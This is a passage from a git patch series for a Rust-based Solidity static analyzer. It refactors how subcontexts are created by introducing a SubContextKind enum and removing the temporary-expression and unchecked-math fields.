Ok(ExprRet::Multi( + inner + .into_iter() + .map(|i| self.list_inner(ctx, param, i, loc)) + .collect::>()?, + )), + ExprRet::CtxKilled(kind) => Ok(ExprRet::CtxKilled(kind)), + } + } } From 7d1048d2cbdb54c41ea148fe3b86ee9e511b0d67 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Tue, 16 Jul 2024 15:06:26 -0700 Subject: [PATCH 08/52] cleaned up subctx creation --- crates/analyzers/src/var_analyzer/mod.rs | 30 +- crates/graph/src/nodes/context/mod.rs | 2 +- crates/graph/src/nodes/context/node.rs | 4 +- crates/graph/src/nodes/context/querying.rs | 6 +- crates/graph/src/nodes/context/typing.rs | 28 +- crates/graph/src/nodes/context/underlying.rs | 541 +++++--- crates/graph/src/nodes/context/variables.rs | 85 +- crates/graph/src/nodes/context/versioning.rs | 81 +- crates/graph/src/range/exec/math_ops/exp.rs | 2 +- crates/pyrometer/tests/test_data/abstract.sol | 16 +- crates/pyrometer/tests/test_data/bitwise.sol | 69 +- .../pyrometer/tests/test_data/const_var.sol | 11 +- .../pyrometer/tests/test_data/constructor.sol | 16 +- .../pyrometer/tests/test_data/dyn_types.sol | 21 +- crates/pyrometer/tests/test_data/env.sol | 7 +- .../tests/test_data/func_override.sol | 32 +- .../tests/test_data/function_calls.sol | 134 +- .../pyrometer/tests/test_data/interface.sol | 9 +- .../pyrometer/tests/test_data/intrinsics.sol | 487 +++---- crates/pyrometer/tests/test_data/join.sol | 40 +- crates/pyrometer/tests/test_data/logical.sol | 43 +- crates/pyrometer/tests/test_data/loops.sol | 26 +- crates/pyrometer/tests/test_data/math.sol | 61 +- crates/pyrometer/tests/test_data/modifier.sol | 11 +- .../tests/test_data/named_func_call.sol | 35 +- .../pyrometer/tests/test_data/precedence.sol | 27 +- .../tests/test_data/remapping_import.sol | 13 +- crates/pyrometer/tests/test_data/require.sol | 33 +- crates/pyrometer/tests/test_data/storage.sol | 85 +- crates/pyrometer/tests/test_data/using.sol | 43 +- crates/shared/src/flattened.rs | 5 +- crates/solc-expressions/src/assign.rs | 2 +- crates/solc-expressions/src/cond_op.rs | 19 +- .../src/context_builder/expr.rs | 18 +- .../src/context_builder/flattened.rs | 26 +- .../src/context_builder/stmt.rs | 1170 ++++++++--------- .../context_builder/test_command_runner.rs | 2 +- .../src/func_call/func_caller.rs | 82 +- .../solc-expressions/src/func_call/helper.rs | 77 +- .../func_call/intrinsic_call/dyn_builtin.rs | 71 +- .../intrinsic_call/intrinsic_caller.rs | 2 +- .../func_call/intrinsic_call/precompile.rs | 35 +- .../src/func_call/modifier.rs | 55 +- crates/solc-expressions/src/list.rs | 37 +- crates/solc-expressions/src/literal.rs | 5 +- crates/solc-expressions/src/loops.rs | 8 +- crates/solc-expressions/src/variable.rs | 2 +- .../solc-expressions/src/yul/yul_builder.rs | 460 ++++--- .../solc-expressions/src/yul/yul_cond_op.rs | 33 +- crates/solc-expressions/src/yul/yul_funcs.rs | 44 +- 50 files changed, 1998 insertions(+), 2153 deletions(-) diff --git a/crates/analyzers/src/var_analyzer/mod.rs b/crates/analyzers/src/var_analyzer/mod.rs index ed28ec7a..95818986 100644 --- a/crates/analyzers/src/var_analyzer/mod.rs +++ b/crates/analyzers/src/var_analyzer/mod.rs @@ -161,8 +161,9 @@ pub trait VarBoundAnalyzer: Search + AnalyzerBackend + Sized { let mut curr = cvar.first_version(self); let ctx = cvar.ctx(self); - let (func_span, func_body_span) = - if let Some(fn_call) = ctx.underlying(self).unwrap().fn_call { + let underlying = ctx.underlying(self).unwrap(); + let (func_span, func_body_span) = if let Some(fn_call) = underlying.fn_call() { + if underlying.is_ext_fn_call() { ( LocStrSpan::new(file_mapping, fn_call.underlying(self).unwrap().loc), fn_call @@ -172,18 +173,7 @@ pub trait VarBoundAnalyzer: Search + AnalyzerBackend + Sized { .as_ref() .map(|body| LocStrSpan::new(file_mapping, body.loc())), ) - } else if let Some(ext_fn_call) = ctx.underlying(self).unwrap().ext_fn_call { - ( - LocStrSpan::new(file_mapping, ext_fn_call.underlying(self).unwrap().loc), - ext_fn_call - .underlying(self) - .unwrap() - .body - .as_ref() - .map(|body| LocStrSpan::new(file_mapping, body.loc())), - ) } else { - let fn_call = ctx.associated_fn(self).unwrap(); ( LocStrSpan::new(file_mapping, fn_call.underlying(self).unwrap().loc), fn_call @@ -193,7 +183,19 @@ pub trait VarBoundAnalyzer: Search + AnalyzerBackend + Sized { .as_ref() .map(|body| LocStrSpan::new(file_mapping, body.loc())), ) - }; + } + } else { + let fn_call = ctx.associated_fn(self).unwrap(); + ( + LocStrSpan::new(file_mapping, fn_call.underlying(self).unwrap().loc), + fn_call + .underlying(self) + .unwrap() + .body + .as_ref() + .map(|body| LocStrSpan::new(file_mapping, body.loc())), + ) + }; let mut ba: VarBoundAnalysis = if let Some(inherited) = inherited { let mut new_ba = inherited.clone(); diff --git a/crates/graph/src/nodes/context/mod.rs b/crates/graph/src/nodes/context/mod.rs index 1d1e13d4..33c35f73 100644 --- a/crates/graph/src/nodes/context/mod.rs +++ b/crates/graph/src/nodes/context/mod.rs @@ -8,7 +8,7 @@ mod var; pub use context_tys::{CallFork, ContextCache, ModifierState}; pub use expr_ret::{ExprRet, KilledKind}; pub use node::ContextNode; -pub use underlying::Context; +pub use underlying::{Context, SubContextKind}; pub use var::{ContextVar, ContextVarNode, TmpConstruction}; // ContextNode implementations are split to ease in maintainability diff --git a/crates/graph/src/nodes/context/node.rs b/crates/graph/src/nodes/context/node.rs index 314e19d2..ef079d8c 100644 --- a/crates/graph/src/nodes/context/node.rs +++ b/crates/graph/src/nodes/context/node.rs @@ -107,7 +107,7 @@ impl ContextNode { let underlying = &mut self.underlying_mut(analyzer)?; let curr_live = underlying.number_of_live_edges; underlying.number_of_live_edges = 0; - if let Some(parent) = self.underlying(analyzer)?.parent_ctx { + if let Some(parent) = self.underlying(analyzer)?.parent_ctx() { let live_edges = &mut parent.underlying_mut(analyzer)?.number_of_live_edges; *live_edges = live_edges.saturating_sub(1 + curr_live); parent.propogate_end(analyzer)?; @@ -125,7 +125,7 @@ impl ContextNode { if !underlying.applies.contains(&applied) { underlying.applies.push(applied); } - if let Some(parent) = self.underlying(analyzer)?.parent_ctx { + if let Some(parent) = self.underlying(analyzer)?.parent_ctx() { parent.propogate_applied(applied, analyzer)?; } Ok(()) diff --git a/crates/graph/src/nodes/context/querying.rs b/crates/graph/src/nodes/context/querying.rs index 17706f9e..dc03ac77 100644 --- a/crates/graph/src/nodes/context/querying.rs +++ b/crates/graph/src/nodes/context/querying.rs @@ -38,7 +38,7 @@ impl ContextNode { let context = self.underlying(analyzer).unwrap(); if let Some(src) = context.cache.associated_source { Some(src.into()) - } else if let Some(parent_ctx) = context.parent_ctx { + } else if let Some(parent_ctx) = context.parent_ctx() { let src = parent_ctx.maybe_associated_source(analyzer)?; self.underlying_mut(analyzer) .unwrap() @@ -265,10 +265,8 @@ impl ContextNode { /// Gets the associated function for the context pub fn associated_fn(&self, analyzer: &impl GraphBackend) -> Result { let underlying = self.underlying(analyzer)?; - if let Some(fn_call) = underlying.fn_call { + if let Some(fn_call) = underlying.fn_call() { Ok(fn_call) - } else if let Some(ext_fn_call) = underlying.ext_fn_call { - Ok(ext_fn_call) } else { Ok(underlying.parent_fn) } diff --git a/crates/graph/src/nodes/context/typing.rs b/crates/graph/src/nodes/context/typing.rs index 85c2fe18..5c5b8a1c 100644 --- a/crates/graph/src/nodes/context/typing.rs +++ b/crates/graph/src/nodes/context/typing.rs @@ -1,5 +1,5 @@ use crate::{ - nodes::{ContextNode, FunctionNode}, + nodes::{context::underlying::SubContextKind, ContextNode, FunctionNode}, AnalyzerBackend, GraphBackend, }; use shared::GraphError; @@ -9,7 +9,10 @@ impl ContextNode { pub fn is_anonymous_fn_call(&self, analyzer: &impl GraphBackend) -> Result { let underlying = self.underlying(analyzer)?; - Ok(underlying.fn_call.is_none() && underlying.ext_fn_call.is_none() && !underlying.is_fork) + Ok(matches!( + underlying.subctx_kind, + Some(SubContextKind::Loop { .. }) + )) } pub fn increment_parse_idx(&self, analyzer: &mut impl AnalyzerBackend) -> usize { @@ -29,7 +32,7 @@ impl ContextNode { } pub fn has_continuation(&self, analyzer: &impl GraphBackend) -> Result { - Ok(self.underlying(analyzer)?.continuation_of.is_some()) + Ok(self.underlying(analyzer)?.continuation_of().is_some()) } /// Returns whether this context is killed or returned @@ -57,7 +60,7 @@ impl ContextNode { /// Check if this context is in an external function call pub fn is_ext_fn(&self, analyzer: &impl GraphBackend) -> Result { - Ok(self.underlying(analyzer)?.ext_fn_call.is_some()) + Ok(self.underlying(analyzer)?.is_ext_fn_call()) } /// Checks whether a function is external to the current context @@ -85,21 +88,4 @@ impl ContextNode { } } } - - /// Returns whether this context *currently* uses unchecked math - pub fn unchecked(&self, analyzer: &impl GraphBackend) -> Result { - Ok(self.underlying(analyzer)?.unchecked) - } - - /// Sets the context to use unchecked math - pub fn set_unchecked(&self, analyzer: &mut impl AnalyzerBackend) -> Result<(), GraphError> { - self.underlying_mut(analyzer)?.unchecked = true; - Ok(()) - } - - /// Sets the context to use checked math - pub fn unset_unchecked(&self, analyzer: &mut impl AnalyzerBackend) -> Result<(), GraphError> { - self.underlying_mut(analyzer)?.unchecked = false; - Ok(()) - } } diff --git a/crates/graph/src/nodes/context/underlying.rs b/crates/graph/src/nodes/context/underlying.rs index 8674e157..240044fc 100644 --- a/crates/graph/src/nodes/context/underlying.rs +++ b/crates/graph/src/nodes/context/underlying.rs @@ -12,6 +12,292 @@ use shared::GraphError; use solang_parser::pt::Loc; use std::collections::BTreeSet; +#[derive(Debug, Copy, Clone, PartialEq, Eq, Ord, PartialOrd)] +pub enum SubContextKind { + InternalFnCall { + caller_ctx: ContextNode, + return_into_ctx: ContextNode, + fn_called: FunctionNode, + }, + ExternalFnCall { + caller_ctx: ContextNode, + return_into_ctx: ContextNode, + fn_called: FunctionNode, + }, + Loop { + parent_ctx: ContextNode, + }, + Fork { + parent_ctx: ContextNode, + true_side: bool, + }, + FnReturn { + from_fn_call_ctx: ContextNode, + continuation_of: ContextNode, + }, + Dummy { + parent_ctx: ContextNode, + }, +} + +impl SubContextKind { + pub fn new_fork(parent_ctx: ContextNode, true_side: bool) -> Self { + SubContextKind::Fork { + parent_ctx, + true_side, + } + } + + pub fn new_fn_ret(from_fn_call_ctx: ContextNode, continuation_of: ContextNode) -> Self { + SubContextKind::FnReturn { + from_fn_call_ctx, + continuation_of, + } + } + + pub fn new_dummy(parent_ctx: ContextNode) -> Self { + SubContextKind::Dummy { parent_ctx } + } + + pub fn new_loop(parent_ctx: ContextNode) -> Self { + SubContextKind::Loop { parent_ctx } + } + + pub fn new_fn_call( + caller_ctx: ContextNode, + return_into_ctx: Option, + fn_called: FunctionNode, + is_ext: bool, + ) -> Self { + let return_into_ctx = return_into_ctx.unwrap_or(caller_ctx); + if is_ext { + SubContextKind::ExternalFnCall { + caller_ctx, + return_into_ctx, + fn_called, + } + } else { + SubContextKind::InternalFnCall { + caller_ctx, + return_into_ctx, + fn_called, + } + } + } + + pub fn parent_ctx(&self) -> ContextNode { + match self { + SubContextKind::InternalFnCall { + caller_ctx: parent_ctx, + .. + } + | SubContextKind::ExternalFnCall { + caller_ctx: parent_ctx, + .. + } + | SubContextKind::FnReturn { + from_fn_call_ctx: parent_ctx, + .. + } + | SubContextKind::Fork { parent_ctx, .. } + | SubContextKind::Dummy { parent_ctx } + | SubContextKind::Loop { parent_ctx } => *parent_ctx, + } + } + + pub fn path_ext(&self, analyzer: &impl AnalyzerBackend) -> Result { + Ok(match self { + SubContextKind::ExternalFnCall { fn_called, .. } => { + let name = fn_called.name(analyzer)?; + format!("{{ {name} }}") + } + SubContextKind::InternalFnCall { fn_called, .. } => { + let name = fn_called.name(analyzer)?; + format!("{{ {name} }}") + } + SubContextKind::Fork { true_side, .. } => format!("fork{{ {true_side} }}"), + SubContextKind::FnReturn { + continuation_of, .. + } => format!( + "resume{{ {} }}", + continuation_of.associated_fn(analyzer)?.name(analyzer)? + ), + SubContextKind::Loop { .. } => "loop".to_string(), + SubContextKind::Dummy { .. } => "".to_string(), + }) + } + + pub fn init_ctx_deps( + &self, + analyzer: &impl AnalyzerBackend, + ) -> Result, GraphError> { + Ok(self.parent_ctx().underlying(analyzer)?.ctx_deps.clone()) + } + + pub fn init_expr_ret_stack( + &self, + analyzer: &impl AnalyzerBackend, + ) -> Result, GraphError> { + Ok(match self { + SubContextKind::Fork { parent_ctx, .. } | SubContextKind::Loop { parent_ctx } => { + parent_ctx.underlying(analyzer)?.expr_ret_stack.clone() + } + SubContextKind::FnReturn { + continuation_of, .. + } => continuation_of.underlying(analyzer)?.expr_ret_stack.clone(), + _ => vec![], + }) + } + + pub fn fn_call(&self) -> Option { + match self { + SubContextKind::ExternalFnCall { fn_called, .. } => Some(*fn_called), + SubContextKind::InternalFnCall { fn_called, .. } => Some(*fn_called), + SubContextKind::Fork { .. } + | SubContextKind::Loop { .. } + | SubContextKind::Dummy { .. } + | SubContextKind::FnReturn { .. } => None, + } + } + + pub fn init_parse_idx(&self, analyzer: &impl AnalyzerBackend) -> usize { + match self { + SubContextKind::ExternalFnCall { .. } => 0, + SubContextKind::InternalFnCall { .. } => 0, + SubContextKind::Fork { parent_ctx, .. } + | SubContextKind::Loop { parent_ctx } + | SubContextKind::Dummy { parent_ctx } => parent_ctx.parse_idx(analyzer), + SubContextKind::FnReturn { + continuation_of, .. + } => continuation_of.parse_idx(analyzer), + } + } + + pub fn init_ctx_cache( + &self, + analyzer: &impl AnalyzerBackend, + ) -> Result { + let visible_funcs = match self { + SubContextKind::ExternalFnCall { .. } => None, + SubContextKind::InternalFnCall { .. } => None, + SubContextKind::Fork { parent_ctx, .. } + | SubContextKind::Loop { parent_ctx } + | SubContextKind::Dummy { parent_ctx } => { + parent_ctx.underlying(analyzer)?.cache.visible_funcs.clone() + } + SubContextKind::FnReturn { + continuation_of, .. + } => continuation_of + .underlying(analyzer)? + .cache + .visible_funcs + .clone(), + }; + + let visible_structs = match self { + SubContextKind::ExternalFnCall { .. } => None, + SubContextKind::InternalFnCall { .. } => None, + SubContextKind::Fork { parent_ctx, .. } + | SubContextKind::Loop { parent_ctx } + | SubContextKind::Dummy { parent_ctx } => parent_ctx + .underlying(analyzer)? + .cache + .visible_structs + .clone(), + SubContextKind::FnReturn { + continuation_of, .. + } => continuation_of + .underlying(analyzer)? + .cache + .visible_structs + .clone(), + }; + + let first_ancestor = match self { + SubContextKind::ExternalFnCall { .. } => None, + SubContextKind::InternalFnCall { .. } => None, + SubContextKind::Fork { parent_ctx, .. } + | SubContextKind::Loop { parent_ctx } + | SubContextKind::Dummy { parent_ctx } => { + parent_ctx.underlying(analyzer)?.cache.first_ancestor + } + SubContextKind::FnReturn { + continuation_of, .. + } => continuation_of.underlying(analyzer)?.cache.first_ancestor, + }; + + Ok(ContextCache { + visible_funcs, + visible_structs, + first_ancestor, + vars: Default::default(), + tmp_vars: Default::default(), + associated_source: None, + associated_contract: None, + }) + } + + pub fn depth(&self, analyzer: &impl AnalyzerBackend) -> Result { + Ok((self.parent_ctx().underlying(analyzer)?.depth as isize) + .saturating_add(self.self_depth()) + .max(0) as usize) + } + + pub fn self_depth(&self) -> isize { + match self { + SubContextKind::ExternalFnCall { .. } => 1, + SubContextKind::InternalFnCall { .. } => 1, + SubContextKind::Fork { .. } => 1, + SubContextKind::Loop { .. } => 1, + SubContextKind::Dummy { .. } => 1, + SubContextKind::FnReturn { .. } => -1, + } + } + + pub fn width(&self, analyzer: &impl AnalyzerBackend) -> Result { + Ok(self + .parent_ctx() + .underlying(analyzer)? + .width + .saturating_add(self.self_width())) + } + + pub fn self_width(&self) -> usize { + match self { + SubContextKind::ExternalFnCall { .. } => 0, + SubContextKind::InternalFnCall { .. } => 0, + SubContextKind::Fork { .. } => 1, + SubContextKind::Loop { .. } => 0, + SubContextKind::Dummy { .. } => 0, + SubContextKind::FnReturn { .. } => 0, + } + } + + pub fn continuation_of(&self) -> Option { + match self { + SubContextKind::ExternalFnCall { .. } | SubContextKind::InternalFnCall { .. } => None, + SubContextKind::Fork { parent_ctx, .. } + | SubContextKind::Loop { parent_ctx } + | SubContextKind::Dummy { parent_ctx } => Some(*parent_ctx), + SubContextKind::FnReturn { + continuation_of, .. + } => Some(*continuation_of), + } + } + + pub fn returning_ctx(&self) -> Option { + match self { + SubContextKind::ExternalFnCall { + return_into_ctx, .. + } + | SubContextKind::InternalFnCall { + return_into_ctx, .. + } => Some(*return_into_ctx), + _ => None, + } + } +} + #[derive(Debug, Clone, Eq, PartialEq)] pub struct Context { /// The current parse index of the stack @@ -20,10 +306,8 @@ pub struct Context { pub parent_fn: FunctionNode, /// Whether this function call is actually a modifier call pub modifier_state: Option, - /// An optional parent context (i.e. this context is a fork or subcontext of another previous context) - pub parent_ctx: Option, - pub returning_ctx: Option, - pub continuation_of: Option, + + pub subctx_kind: Option, /// Variables whose bounds are required to be met for this context fork to exist. i.e. a conditional operator /// like an if statement pub ctx_deps: BTreeSet, @@ -31,12 +315,6 @@ pub struct Context { pub path: String, /// Denotes whether this context was killed by an unsatisfiable require, assert, etc. statement pub killed: Option<(Loc, KilledKind)>, - /// Denotes whether this context is a fork of another context - pub is_fork: bool, - /// Denotes whether this context is the result of a internal function call, and points to the FunctionNode - pub fn_call: Option, - /// Denotes whether this context is the result of a internal function call, and points to the FunctionNode - pub ext_fn_call: Option, /// The child context. This is either of the form `Call(child_context)` or `Fork(world1, world2)`. Once /// a child is defined we should *never* evaluate an expression in this context. pub child: Option, @@ -50,12 +328,8 @@ pub struct Context { pub depth: usize, /// Width tracker pub width: usize, - /// A temporary stack of ExprRets for this context - pub tmp_expr: Vec>, /// The stack of ExprRets for this context pub expr_ret_stack: Vec, - /// Whether the context currently uses unchecked math - pub unchecked: bool, /// The number of live edges pub number_of_live_edges: usize, /// Caching related things @@ -72,16 +346,11 @@ impl Context { Context { parse_idx: 0, parent_fn, - parent_ctx: None, - returning_ctx: None, - continuation_of: None, + subctx_kind: None, path: fn_name, tmp_var_ctr: 0, killed: None, ctx_deps: Default::default(), - is_fork: false, - fn_call: None, - ext_fn_call: None, child: None, ret: vec![], loc, @@ -89,8 +358,6 @@ impl Context { depth: 0, width: 0, expr_ret_stack: Vec::with_capacity(5), - tmp_expr: vec![], - unchecked: false, number_of_live_edges: 0, cache: Default::default(), dl_solver: Default::default(), @@ -100,28 +367,25 @@ impl Context { /// Creates a new subcontext from an existing context pub fn new_subctx( - parent_ctx: ContextNode, - returning_ctx: Option, + subctx_kind: SubContextKind, loc: Loc, - fork_expr: Option<&str>, - fn_call: Option, - fn_ext: bool, analyzer: &mut impl AnalyzerBackend, modifier_state: Option, ) -> Result { - let mut depth = - parent_ctx.underlying(analyzer)?.depth + if fork_expr.is_some() { 0 } else { 1 }; + let parse_idx = subctx_kind.init_parse_idx(analyzer); - let width = - parent_ctx.underlying(analyzer)?.width + if fork_expr.is_some() { 1 } else { 0 }; + let path = format!( + "{}.{}", + subctx_kind.parent_ctx().path(analyzer), + subctx_kind.path_ext(analyzer)? + ); + let ctx_deps = subctx_kind.init_ctx_deps(analyzer)?; + let expr_ret_stack = subctx_kind.init_expr_ret_stack(analyzer)?; + let cache = subctx_kind.init_ctx_cache(analyzer)?; - let modifier_state = if let Some(mstate) = modifier_state { - Some(mstate) - } else if fn_call.is_none() || parent_ctx.associated_fn(analyzer)? == fn_call.unwrap() { - parent_ctx.underlying(analyzer)?.modifier_state.clone() - } else { - None - }; + let depth = subctx_kind.depth(analyzer)?; + + let width = subctx_kind.width(analyzer)?; if analyzer.max_depth() < depth { return Err(GraphError::MaxStackDepthReached(format!( @@ -130,7 +394,7 @@ impl Context { ))); } - let tw = parent_ctx.total_width(analyzer)?; + let tw = subctx_kind.parent_ctx().total_width(analyzer)?; if analyzer.max_width() < tw { return Err(GraphError::MaxStackWidthReached(format!( "Stack width limit reached: {}", @@ -138,113 +402,46 @@ impl Context { ))); } - let (fn_name, ext_fn_call, fn_call) = if let Some(fn_call) = fn_call { - if fn_ext { - (fn_call.name(analyzer)?, Some(fn_call), None) - } else { - (fn_call.name(analyzer)?, None, Some(fn_call)) - } - } else if let Some(returning_ctx) = returning_ctx { - let fn_node = returning_ctx.associated_fn(analyzer)?; - (fn_node.name(analyzer)?, None, Some(fn_node)) + let parent_fn = subctx_kind.parent_ctx().associated_fn(analyzer)?; + + let modifier_state = if let Some(mstate) = modifier_state { + Some(mstate) + } else if subctx_kind.fn_call().is_none() || Some(parent_fn) == subctx_kind.fn_call() { + subctx_kind + .parent_ctx() + .underlying(analyzer)? + .modifier_state + .clone() } else { - ("anonymous_fn_call".to_string(), None, None) + None }; - let path = format!( - "{}.{}", - parent_ctx.underlying(analyzer)?.path, - if let Some(ref fork_expr) = fork_expr { - format!("fork{{ {} }}", fork_expr) - } else if let Some(returning_ctx) = returning_ctx { - depth = depth.saturating_sub(2); - format!( - "resume{{ {} }}", - returning_ctx.associated_fn_name(analyzer)? - ) - } else { - fn_name - } - ); - - let parent_fn = parent_ctx.associated_fn(analyzer)?; - - parent_ctx.underlying_mut(analyzer)?.number_of_live_edges += 1; - tracing::trace!("new subcontext path: {path}, depth: {depth}"); Ok(Context { - parse_idx: parent_ctx.parse_idx(analyzer), + parse_idx, parent_fn, - parent_ctx: Some(parent_ctx), - returning_ctx, - continuation_of: None, + subctx_kind: Some(subctx_kind), path, - is_fork: fork_expr.is_some(), - fn_call, - ext_fn_call, - ctx_deps: parent_ctx.underlying(analyzer)?.ctx_deps.clone(), + ctx_deps, + expr_ret_stack, + cache, + + tmp_var_ctr: subctx_kind.parent_ctx().underlying(analyzer)?.tmp_var_ctr, killed: None, child: None, - tmp_var_ctr: parent_ctx.underlying(analyzer)?.tmp_var_ctr, ret: vec![], loc, modifier_state, depth, width, - expr_ret_stack: if fork_expr.is_some() { - parent_ctx.underlying(analyzer)?.expr_ret_stack.clone() - } else if let Some(ret_ctx) = returning_ctx { - ret_ctx.underlying(analyzer)?.expr_ret_stack.clone() - } else { - vec![] - }, - tmp_expr: if fork_expr.is_some() { - parent_ctx.underlying(analyzer)?.tmp_expr.clone() - } else if let Some(ret_ctx) = returning_ctx { - ret_ctx.underlying(analyzer)?.tmp_expr.clone() - } else { - vec![] - }, - unchecked: if fork_expr.is_some() { - parent_ctx.underlying(analyzer)?.unchecked - } else if let Some(ret_ctx) = returning_ctx { - ret_ctx.underlying(analyzer)?.unchecked - } else { - false - }, + number_of_live_edges: 0, - cache: ContextCache { - vars: Default::default(), - tmp_vars: Default::default(), - visible_funcs: if fork_expr.is_some() { - parent_ctx.underlying(analyzer)?.cache.visible_funcs.clone() - } else if let Some(ret_ctx) = returning_ctx { - ret_ctx.underlying(analyzer)?.cache.visible_funcs.clone() - } else { - None - }, - visible_structs: if fork_expr.is_some() { - parent_ctx - .underlying(analyzer)? - .cache - .visible_structs - .clone() - } else if let Some(ret_ctx) = returning_ctx { - ret_ctx.underlying(analyzer)?.cache.visible_structs.clone() - } else { - None - }, - first_ancestor: if fork_expr.is_some() { - parent_ctx.underlying(analyzer)?.cache.first_ancestor - } else if let Some(ret_ctx) = returning_ctx { - ret_ctx.underlying(analyzer)?.cache.first_ancestor - } else { - None - }, - associated_source: None, - associated_contract: None, - }, - dl_solver: parent_ctx.underlying(analyzer)?.dl_solver.clone(), + + dl_solver: subctx_kind + .parent_ctx() + .underlying(analyzer)? + .dl_solver + .clone(), applies: Default::default(), }) } @@ -254,63 +451,8 @@ impl Context { loc: Loc, analyzer: &mut impl AnalyzerBackend, ) -> Result { - let depth = parent_ctx.underlying(analyzer)?.depth + 1; - - if analyzer.max_depth() < depth { - return Err(GraphError::MaxStackDepthReached(format!( - "Stack depth limit reached: {}", - depth - 1 - ))); - } - - let fn_name = "loop"; - - let path = format!("{}.{}", parent_ctx.underlying(analyzer)?.path, fn_name); - - let parent_fn = parent_ctx.associated_fn(analyzer)?; - - parent_ctx.underlying_mut(analyzer)?.number_of_live_edges += 1; - - tracing::trace!("new subcontext path: {path}, depth: {depth}"); - Ok(Context { - parse_idx: parent_ctx.parse_idx(analyzer), - parent_fn, - parent_ctx: Some(parent_ctx), - path, - returning_ctx: None, - continuation_of: None, - is_fork: false, - fn_call: None, - ext_fn_call: None, - ctx_deps: parent_ctx.underlying(analyzer)?.ctx_deps.clone(), - killed: None, - child: None, - tmp_var_ctr: parent_ctx.underlying(analyzer)?.tmp_var_ctr, - ret: vec![], - loc, - modifier_state: None, - depth, - width: 0, - expr_ret_stack: parent_ctx.underlying(analyzer)?.expr_ret_stack.clone(), - tmp_expr: parent_ctx.underlying(analyzer)?.tmp_expr.clone(), - unchecked: parent_ctx.underlying(analyzer)?.unchecked, - number_of_live_edges: 0, - cache: ContextCache { - vars: parent_ctx.underlying(analyzer)?.cache.vars.clone(), - tmp_vars: Default::default(), - visible_funcs: parent_ctx.underlying(analyzer)?.cache.visible_funcs.clone(), - visible_structs: parent_ctx - .underlying(analyzer)? - .cache - .visible_structs - .clone(), - first_ancestor: parent_ctx.underlying(analyzer)?.cache.first_ancestor, - associated_source: None, - associated_contract: None, - }, - dl_solver: parent_ctx.underlying(analyzer)?.dl_solver.clone(), - applies: Default::default(), - }) + let subctx_kind = SubContextKind::Loop { parent_ctx }; + Context::new_subctx(subctx_kind, loc, analyzer, None) } /// Set the child context to a fork @@ -340,4 +482,27 @@ impl Context { pub fn as_string(&mut self) -> String { "Context".to_string() } + + pub fn parent_ctx(&self) -> Option { + Some(self.subctx_kind?.parent_ctx()) + } + + pub fn fn_call(&self) -> Option { + self.subctx_kind?.fn_call() + } + + pub fn continuation_of(&self) -> Option { + self.subctx_kind?.continuation_of() + } + + pub fn returning_ctx(&self) -> Option { + self.subctx_kind?.returning_ctx() + } + + pub fn is_ext_fn_call(&self) -> bool { + matches!( + self.subctx_kind, + Some(SubContextKind::ExternalFnCall { .. }) + ) + } } diff --git a/crates/graph/src/nodes/context/variables.rs b/crates/graph/src/nodes/context/variables.rs index 5b12256f..fa6d892b 100644 --- a/crates/graph/src/nodes/context/variables.rs +++ b/crates/graph/src/nodes/context/variables.rs @@ -34,18 +34,6 @@ impl ContextNode { Ok(()) } - /// Debug print the temprorary stack - pub fn debug_tmp_expr_stack(&self, analyzer: &impl GraphBackend) -> Result<(), GraphError> { - let underlying_mut = self.underlying(analyzer)?; - underlying_mut - .tmp_expr - .iter() - .enumerate() - .filter(|(_i, maybe_elem)| maybe_elem.is_some()) - .for_each(|(i, elem)| println!("{i}. {}", elem.clone().unwrap().debug_str(analyzer))); - Ok(()) - } - /// Add a variable to this context pub fn add_var( &self, @@ -108,7 +96,7 @@ impl ContextNode { Ok(Some(var)) } else if let Some(parent) = self.ancestor_in_fn(analyzer, self.associated_fn(analyzer)?)? { parent.var_by_name_or_recurse(analyzer, name) - } else if let Some(parent) = self.underlying(analyzer)?.continuation_of { + } else if let Some(parent) = self.underlying(analyzer)?.continuation_of() { parent.var_by_name_or_recurse(analyzer, name) } else { Ok(None) @@ -289,72 +277,6 @@ impl ContextNode { Ok(ret) } - /// Push an expression return into the temporary stack - pub fn push_tmp_expr( - &self, - expr_ret: ExprRet, - analyzer: &mut impl AnalyzerBackend, - ) -> Result<(), GraphError> { - let underlying_mut = self.underlying_mut(analyzer)?; - underlying_mut.tmp_expr.push(Some(expr_ret)); - Ok(()) - } - - /// Append a new expression return to an expression return - /// currently in the temporary stack - pub fn append_tmp_expr( - &self, - expr_ret: ExprRet, - analyzer: &mut impl AnalyzerBackend, - ) -> Result<(), GraphError> { - let underlying_mut = self.underlying_mut(analyzer)?; - match underlying_mut.tmp_expr.pop() { - Some(Some(s @ ExprRet::Single(_))) => { - underlying_mut - .tmp_expr - .push(Some(ExprRet::Multi(vec![s, expr_ret]))); - } - Some(Some(s @ ExprRet::SingleLiteral(_))) => { - underlying_mut - .tmp_expr - .push(Some(ExprRet::Multi(vec![s, expr_ret]))); - } - Some(Some(ExprRet::Multi(ref mut inner))) => { - inner.push(expr_ret); - underlying_mut - .tmp_expr - .push(Some(ExprRet::Multi(inner.to_vec()))); - } - Some(Some(s @ ExprRet::Null)) => { - underlying_mut - .tmp_expr - .push(Some(ExprRet::Multi(vec![s, expr_ret]))); - } - Some(Some(ExprRet::CtxKilled(kind))) => { - underlying_mut.tmp_expr = vec![Some(ExprRet::CtxKilled(kind))]; - underlying_mut.expr_ret_stack = vec![ExprRet::CtxKilled(kind)]; - } - _ => { - underlying_mut.tmp_expr.push(Some(expr_ret)); - } - } - Ok(()) - } - - /// Pops a from the temporary ExprRet stack - pub fn pop_tmp_expr( - &self, - loc: Loc, - analyzer: &mut impl AnalyzerBackend, - ) -> Result, GraphError> { - let underlying_mut = self.underlying_mut(analyzer)?; - if let Some(Some(expr)) = underlying_mut.tmp_expr.pop() { - Ok(Some(self.maybe_move_expr(expr, loc, analyzer)?)) - } else { - Ok(None) - } - } - /// Pushes an ExprRet to the stack #[tracing::instrument(level = "trace", skip_all)] pub fn push_expr( @@ -403,7 +325,6 @@ impl ContextNode { } pub fn recursive_move_struct_field( - &self, parent: ContextVarNode, field: ContextVarNode, loc: Loc, @@ -422,7 +343,7 @@ impl ContextNode { let sub_fields = field.struct_to_fields(analyzer)?; sub_fields.iter().try_for_each(|sub_field| { - self.recursive_move_struct_field(new_cvarnode, *sub_field, loc, analyzer) + Self::recursive_move_struct_field(new_cvarnode, *sub_field, loc, analyzer) }) } @@ -468,7 +389,7 @@ impl ContextNode { let fields = var.struct_to_fields(analyzer)?; fields.iter().try_for_each(|field| { - self.recursive_move_struct_field(new_cvarnode, *field, loc, analyzer) + Self::recursive_move_struct_field(new_cvarnode, *field, loc, analyzer) })?; 